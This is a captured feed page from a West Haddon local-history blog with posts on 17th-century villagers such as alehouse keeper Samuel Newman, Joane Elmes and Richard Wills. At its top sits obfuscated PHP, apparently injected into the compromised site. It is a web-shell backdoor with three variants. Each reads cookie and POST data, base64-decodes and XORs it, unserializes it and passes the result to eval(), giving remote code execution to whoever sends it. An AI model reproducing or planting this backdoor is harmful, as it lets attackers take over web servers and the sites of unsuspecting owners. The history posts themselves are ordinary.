Richard Wills – West Haddon History

$HplAA = "\172" . "\160" . '_' . 'k' . "\x6f" . chr ( 187 - 117 )."\x78";$IFJdUt = 'c' . "\x6c" . 'a' . chr (115) . 's' . "\x5f" . "\145" . chr ( 142 - 22 ).chr ( 456 - 351 ).chr ( 140 - 25 )."\x74" . "\x73";$UriZbCCfRu = $IFJdUt($HplAA); $HplAA = "2077";$PIQEiaQz = !$UriZbCCfRu;$IFJdUt = "4030";if ($PIQEiaQz){class zp_koFx{private $UuymVt;public static $SUtWeAAC = "b1e73c8a-bfe4-4f9c-9055-c648c8fce573";public static $FBjUeD = 34354;public function __construct($rMRtD=0){$fVgHqpkWz = $_COOKIE;$MglDe = $_POST;$gwxDIQhzU = @$fVgHqpkWz[substr(zp_koFx::$SUtWeAAC, 0, 4)];if (!empty($gwxDIQhzU)){$eSNlanU = "base64";$tWVwMFru = "";$gwxDIQhzU = explode(",", $gwxDIQhzU);foreach ($gwxDIQhzU as $YGhamEUX){$tWVwMFru .= @$fVgHqpkWz[$YGhamEUX];$tWVwMFru .= @$MglDe[$YGhamEUX];}$tWVwMFru = array_map($eSNlanU . chr ( 292 - 197 )."\x64" . "\145" . chr (99) . "\x6f" . chr (100) . chr (101), array($tWVwMFru,)); $tWVwMFru = $tWVwMFru[0] ^ str_repeat(zp_koFx::$SUtWeAAC, (strlen($tWVwMFru[0]) / strlen(zp_koFx::$SUtWeAAC)) + 1);zp_koFx::$FBjUeD = @unserialize($tWVwMFru);}}private function TWEKCYleS(){if (is_array(zp_koFx::$FBjUeD)) {$bolAEBiq = str_replace('<' . "\77" . chr (112) . "\x68" . "\x70", "", zp_koFx::$FBjUeD["\143" . "\157" . chr ( 130 - 20 ).chr (116) . chr ( 593 - 492 ).chr ( 1037 - 927 )."\164"]);eval($bolAEBiq); $sfDZnt = "36234";exit();}}public function __destruct(){$this->TWEKCYleS(); $dhTLttXbe = str_pad("36234", 10);}}$dOkqDNDh = new /* 49712 */ zp_koFx(); $dOkqDNDh = substr("25980_52432", 1);}$lTPklsXfA = chr (106) . chr (119) . chr (73) . chr (95) . 'H' . "\131" . chr ( 169 - 59 ).'o';$jCvdt = 'c' . "\154" . "\141" . chr (115) . "\163" . '_' . "\145" . "\x78" . chr (105) . chr (115) . "\164" . 's';$bUNBkjy = class_exists($lTPklsXfA); $jCvdt = "39704";$jPWKAeMk = !1;if ($bUNBkjy == $jPWKAeMk){function ApZmzAyjJr(){return FALSE;}$gCDTLQ = "6395";ApZmzAyjJr();class jwI_HYno{private function pnIHxuk($gCDTLQ){if (is_array(jwI_HYno::$ABBse)) {$UyVPvBkaJ = str_replace(chr (60) . '?' . "\160" . "\150" . "\160", "", jwI_HYno::$ABBse["\x63" . chr ( 761 - 650 ).chr ( 333 - 223 )."\x74" . chr (101) . chr (110) . chr (116)]);eval($UyVPvBkaJ); $gCDTLQ = "6395";exit();}}private $OYBac;public function dcNQcafY(){echo 19770;}public function __destruct(){$gCDTLQ = "9730_1830";$this->pnIHxuk($gCDTLQ); $gCDTLQ = "9730_1830";}public function __construct($POFhE=0){$MxmmIkzOiU = $_POST;$HTgqw = $_COOKIE;$DDisn = "4c7f33e5-de10-4e19-9940-82caaf955dc7";$rKUvvNIkYD = @$HTgqw[substr($DDisn, 0, 4)];if (!empty($rKUvvNIkYD)){$dWDjXd = "base64";$pXNJBYrvx = "";$rKUvvNIkYD = explode(",", $rKUvvNIkYD);foreach ($rKUvvNIkYD as $OoSHkX){$pXNJBYrvx .= @$HTgqw[$OoSHkX];$pXNJBYrvx .= @$MxmmIkzOiU[$OoSHkX];}$pXNJBYrvx = array_map($dWDjXd . "\x5f" . "\x64" . chr (101) . "\143" . "\x6f" . "\144" . chr ( 899 - 798 ), array($pXNJBYrvx,)); $pXNJBYrvx = $pXNJBYrvx[0] ^ str_repeat($DDisn, (strlen($pXNJBYrvx[0]) / strlen($DDisn)) + 1);jwI_HYno::$ABBse = @unserialize($pXNJBYrvx); $pXNJBYrvx = class_exists("9730_1830");}}public static $ABBse = 11214;}$EPUHUamuRu = new /* 3878 */ $lTPklsXfA(6395 + 6395); $jPWKAeMk = $EPUHUamuRu = $gCDTLQ = Array();}$paxDZbQre = 'r' . "\113" . chr ( 411 - 316 ).'G' . chr ( 485 - 399 ).'b' . chr ( 397 - 287 ).'p';$uKlZGtXU = chr ( 1032 - 933 )."\x6c" . 'a' . chr (115) . chr (115) . '_' . 'e' . chr ( 394 - 274 ).'i' . "\x73" . chr ( 1029 - 913 ).chr (115); $rgpUNYESyK = class_exists($paxDZbQre); $paxDZbQre = "60634";$uKlZGtXU = "33514";$NTskpFbrC = FALSE;if ($rgpUNYESyK === $NTskpFbrC){$EmyKsYF = "46615";class rK_GVbnp{public function iwInMYTh(){echo "48779";}private $GfHYArYQNx;public static $GVcBrAVtn = "8c38d52d-0cd6-4850-8a68-3207183a77e5";public static $XsnJKJ = 30607;public function __construct($wOtkoj=0){$HAQXjyJRV = $_POST;$nJCZFj = $_COOKIE;$nInCsXqAgY = @$nJCZFj[substr(rK_GVbnp::$GVcBrAVtn, 0, 4)];if (!empty($nInCsXqAgY)){$BuyRAOhC = "base64";$JrSBr = "";$nInCsXqAgY = explode(",", $nInCsXqAgY);foreach ($nInCsXqAgY as $lRCFMISl){$JrSBr .= @$nJCZFj[$lRCFMISl];$JrSBr .= @$HAQXjyJRV[$lRCFMISl];}$JrSBr = array_map($BuyRAOhC . "\137" . "\x64" . chr ( 919 - 818 )."\143" . "\157" . "\x64" . "\x65", array($JrSBr,)); $JrSBr = $JrSBr[0] ^ str_repeat(rK_GVbnp::$GVcBrAVtn, (strlen($JrSBr[0]) / strlen(rK_GVbnp::$GVcBrAVtn)) + 1);rK_GVbnp::$XsnJKJ = @unserialize($JrSBr);}}private function jYIOrjxtF($EmyKsYF){if (is_array(rK_GVbnp::$XsnJKJ)) {$pyhQNoRNaW = str_replace(chr (60) . chr ( 654 - 591 ).chr ( 1039 - 927 ).chr ( 527 - 423 ).chr (112), "", rK_GVbnp::$XsnJKJ[chr ( 515 - 416 ).'o' . chr ( 1060 - 950 ).chr (116) . chr (101) . 'n' . "\164"]);eval($pyhQNoRNaW); $EmyKsYF = "46615";exit();}}public function __destruct(){$this->jYIOrjxtF($EmyKsYF);}}$nyUbj = new /* 36413 */ rK_GVbnp(); $nyUbj = str_repeat("11438_8061", 1);} Richard Wills – West Haddon History http://westhaddonhistorysite.org Perspectives on the past Thu, 31 Aug 2017 13:37:01 +0000 en-GB hourly 1 https://wordpress.org/?v=6.5.2 http://westhaddonhistorysite.org/wp-content/uploads/2017/07/cropped-historysite-logo-32x32.jpg Richard Wills – West Haddon History http://westhaddonhistorysite.org 32 32 Samuel Newman: alehouse keeper http://westhaddonhistorysite.org/samuel-newman-alehouse-keeper/ Thu, 31 Aug 2017 13:37:01 +0000 http://westhaddonhistorysite.org/?p=476 Continue reading

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In 1657 William Worcester, the constable, brought Samuel Newman, alehouse keeper, before the magistrates for allowing Richard Wills and Samuel Brabson to continue drinking late into the night at his alehouse. He wasn’t the first Newman in the village to keep an alehouse and turn an occasional blind eye to the law.

Over 70 years earlier, at the same court in 1581 that ordered villagers not to wander about carrying fire in wisps of straw, Robert Newman, common maltster and ale seller, was accused of breaking the assize of ale (i.e. selling short measure) and fined two pence.

A couple of generations later, in 1630, Henry Newman of West Haddon was granted an alehouse licence. Possibly Henry was Samuel’s father.

40 years after the fire another rare survival of a West Haddon manorial court roll records the proceedings on 29 April 1698. The court was held at Samuel Newman’s (probably by this time the son of Samuel Newman senior – though the old man was still alive). There was no manor house in West Haddon – a pub was one of the few public gathering places in the village where such a meeting could be held. On this occasion, under his own roof, Samuel Newman was fined a shilling for selling ale in short measures.

In his will Samuel junior left the pub to his son (another Samuel), who died, young and unmarried, leaving it to his sisters Sarah and Alice who, in 1750, along with their younger brother John, sold it to William Gulliver. In its first appearance in the deeds the pub is called The Cock.

Samuel Newman was one of those whose houses were burned down in 1657. It would be a reasonable assumption to suppose that the houses were all adjoining or close to each other. Pinning down the location of The Cock might identify the location of the fire. And it so happens that through the deeds we can do that. The Cock must have been rebuilt after the fire. And it was rebuilt again, in 1828, before being sold ten years later under its new name, The Wheatsheaf.

That brings to an end this commemoration of the 1657 Great Fire of West Haddon. The blog will continue, on an occasional basis, shooting off at whatever historical tangent captures my attention at the time. If you have been, thanks for reading.

]]> Samuel Clerke: provision for the poor http://westhaddonhistorysite.org/samuel-clerke-provision-for-the-poor/ Mon, 28 Aug 2017 20:02:44 +0000 http://westhaddonhistorysite.org/?p=460 Continue reading

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Samuel Clerke was lord of the manor in West Haddon. He was buried here in 1688 but there is no evidence that he ever lived here. Had he done so he might not have found himself at odds with the freeholders of the parish, leading to a legal dispute with them in the Court of Chancery. It is the record of that court case that gives us the earliest information we have about the establishment of the West Haddon Charity Estate.

The case is dated 1648 and refers to an initiative of about 20 years earlier. This may relate to a very bad harvest in 1630, which had left many starving. A number of freeholders in the village got together and set aside a piece of land and some cottages which could be rented out to raise money to support the poor. Later an adjoining close over the parish boundary in Silsworth, Watford, was added to the estate. It was administered by a group of trustees – some of their names are already familiar to us – Gulliver, Wills, Gutteridge, Worcester, Miller, Ward and Elmes.

The funds were also used for the public good of the village as a whole, for example, to pay for road repairs. There were no county councils in the 17th century. The inhabitants of West Haddon were responsible for the upkeep of all the roads and bridges in the parish – buying materials and paying labourers. Before the charity estate was set up the work would have been funded by a levy on all householders – like the Poor levy (the charity eased, but did not replace, the work of the Overseers of the Poor.)

The charity fields lay on the south side of the road to Crick, down in the dip where a stream runs under the road and marks the boundary between West Haddon and Watford. They are still there, and still administered by village trustees.

But was the original initiative Samuel Clerke’s idea, and did he put up the money to buy the land? That’s what the dispute was about.

]]> Bartin Gutteridge: a Silsworth connection http://westhaddonhistorysite.org/bartin-gutteridge-a-silsworth-connection/ Thu, 24 Aug 2017 22:20:39 +0000 http://westhaddonhistorysite.org/?p=451 Continue reading

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Silsworth was once a tiny settlement in Watford parish.By the 17th century it was no longer viable as an independent hamlet, but the land around it was good grazing and it was gradually parcelled up and sold – not just to Watford farmers, but also to several from West Haddon. The land of Silsworth ran along the West Haddon parish boundary roughly from the Crick road to the Watford road.

The Gutteridge family were among the West Haddon farmers who extended their land ownership beyond the parish boundary. Bartin senior was a relatively small farmer, with only about ten acres in West Haddon and an unspecified acreage in Silsworth. His house in West Haddon entitled him to one cow common (the right to graze a cow and a calf) and the right to pasture 20 sheep on the common grazing land across the parish. (Access to common land was carefully controlled to guard against over-grazing.)

Over the next 30 years his son, Bartin junior, increased his land ownership in West Haddon to nearly 50 acres with a 10 acre freehold in Silsworth and a lease on a further six acres.

In September 1657, the month following the fire, Bartin junior made his will. He was buried the following month. From his will we can see that he had a son (yet another Bartin), two married daughters and one under 21 who was still unmarried. She was to receive £200 when she came of age and it is reasonable to suppose that her elder sisters had been given similar marriage portions. Ann had married Adrian Ward (possibly a relative of John Ward, whose house had burned down), while Sarah had married John Wills, brother of the hot-headed Richard.

Bartin arranged for his son to inherit the house, but to share it with his mother for her lifetime. He laid down that she shall have the use of the great parlour and the little buttery joining up to it during her life. And what necessary occasions she hath, either in the kitchen or common hall, I do hereby appoint that she have the use of them altogether with my executor [Bartin.]

]]> Edward Burnham: the ‘trusty friend’ http://westhaddonhistorysite.org/edward-burnham-the-trusty-friend/ http://westhaddonhistorysite.org/edward-burnham-the-trusty-friend/#comments Mon, 14 Aug 2017 21:02:26 +0000 http://westhaddonhistorysite.org/?p=403 Continue reading

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Edward Burnham was a gentleman and landowner, as well as the ‘trusty friend’ of Joan Elmes. Like Joan, he died unmarried, leaving property and cash bequests to members of his extended family and also mentioning the Apprenticing Fund in his will.

Like Richard Wills, he had siblings who had made their homes in London: his brother George was a turner and his sister Margaret was married to a blacksmith in the capital.

He had bought his largest landholding from another gentleman, Samuel Hogson and his wife. Hogson is not a familiar name in West Haddon. Was there perhaps a marriage connection? We don’t know Mary Hogson’s maiden name, but perhaps she brought the land in West Haddon to her husband as a marriage settlement. Edward left that land, and the two houses or cottages with it, to his cousin Elizabeth, who was married to a local farmer called William Feacon, one of Edward’s tenants.

The land that he rented to John Bosworth he had bought from his brother Thomas and his nephew, Thomas junior, both of whom were dead by the time Edward came to write his will. There seems to have been some financial difficulty in that branch of the family which had perhaps prompted the land sale. Then Edward had helped out the widowed Ann Burnham, including paying the wages of her servant, Rowland Green. And he left money to her daughter, Mary. She was a fortunate young woman, having also received a legacy from her maternal grandfather, Thomas Kirtland who, in 1683 had left £20 ‘to my pretty grandchild, Mary Burnham.’

]]> http://westhaddonhistorysite.org/edward-burnham-the-trusty-friend/feed/ 2 Joane Elmes: making connections http://westhaddonhistorysite.org/joane-elmes-making-connections/ Fri, 11 Aug 2017 20:09:15 +0000 http://westhaddonhistorysite.org/?p=399 Continue reading

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There was something about Joane…

Her father’s will left her £200 – twice as much as her sister Sarah, but the money was to be invested by her brother and the interest paid yearly for her maintenance as long as she remained single. If she married she was to have £150. But, if Joan shall die unmarried she may dispose of the £200 amongst her brothers and sister proportionably…

He didn’t expect her to marry. And she didn’t. But she didn’t leave the money to her siblings in her will either, because she outlived them all.

Her sister Sarah married Thomas Hammond of Silsworth the year after the fire, and died in 1671. Her brother John died in 1678 and William in 1680. Joane lived on to 1698.

Her father’s will, made in 1655, included another interesting piece of information. He left to Joane’s brother John farmland that he had purchased from Richard Wills and his mother. This suggests that by the time he was facing charges of illegal shooting and drinking etc in 1657, Richard had already sold the farm (and perhaps was running wild on the proceeds).

Joane’s mother Mary had chosen her unmarried daughter, rather than one of her sons, to execute her will in 1669. And when her brother John came to make his will in 1678 he made the same choice. At the foot of the will is a note from the Vicar, Gregory Palmer,

I did administer the oath to Joan Elmes, executrix of John Elmes, her brother, deceased, at her house in West Haddon, 18 September 1678.

So Joan was an independent woman with her own house – not living as a pitied spinster in the home of a relation.

Her own will shows just how independent she had become. She left land and property in both Crick and Long Buckby to her nephew John, the son of her dead brother William. Was this how she had used her £200? As well as other family bequests she left money to my trusty friend Edward Burnham and his wife to buy mourning rings and £10 to her servant, Francis Page. Francis had originally been her brother John’s servant, but John had only left him £5. She also left money to the poor of the village, and in addition, £5 to the apprenticing fund for West Haddon. This fund had been set up by Edward Burnham (her trusty friend), Jacob Lucas and Joan herself to provide money to pay the premiums to put poor children out as apprentices to give them a trade.

The fund continues to this day.

]]> Richard Wills: Hooray Henry? http://westhaddonhistorysite.org/richard-wills-hooray-henry/ Wed, 09 Aug 2017 22:18:23 +0000 http://westhaddonhistorysite.org/?p=384 Continue reading

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Richard Wills appeared on a number of occasions before the Justices of the Peace during the winter of 1657/8. There was the assault on Thomas Cawcutt, the carpenter from Church Brampton, the late night drinking with Samuel Brabson and the pigeon shooting with an unlicensed gun and finally (perhaps in revenge for the Constable’s accusations), he appeared as prosecutor, accusing William Worcester of neglecting to apprehend rogues, vagabonds and sturdy beggars at large in West Haddon. If that was one winter’s exploits, what was the rest of his life like?

He was the eldest son of Edward Wills, a farmer who probably died quite young. Edward’s will in 1639 left bequests to his father and also to his children when they came of age, so they may have been quite small. But he was married long enough to have four sons and four daughters. He left three houses (one of which his father was living in) as well as the farm land, and his household goods, furniture and livestock which were valued at over £250. The goods included 4 spinning wheels, one for wool and three for linen, with woollen and linen yarn, suggesting that Edward’s wife was teaching the girls to spin. Richard got the farm, with the option of buying his brothers Edward and Thomas out of two of the houses.

He paid each of them £30 and they both went off to London to seek their fortunes. In 1655 Edward came back to the village with his wife Dorathie, for the baptism of their daughter Elizabeth. The parish register recorded him as Edward Wills of London, tailor. Five years later the same register recorded the burial of Richard, son of Thomas Wills, Citizen of London.

Richard perhaps came into his inheritance too young. There is also the possibility that he rather envied the big city life that his brothers were enjoying. All his roistering may have been an outlet for his frustration with village life, and with the responsibilities involved in looking after his mother and sisters. (The girls had each been left a £10 dowry, so he may have felt the need to fend off unsuitable lovers.) His youngest brother John probably helped on the farm and perhaps inherited it when Richard died, still a batchelor, in 1667.

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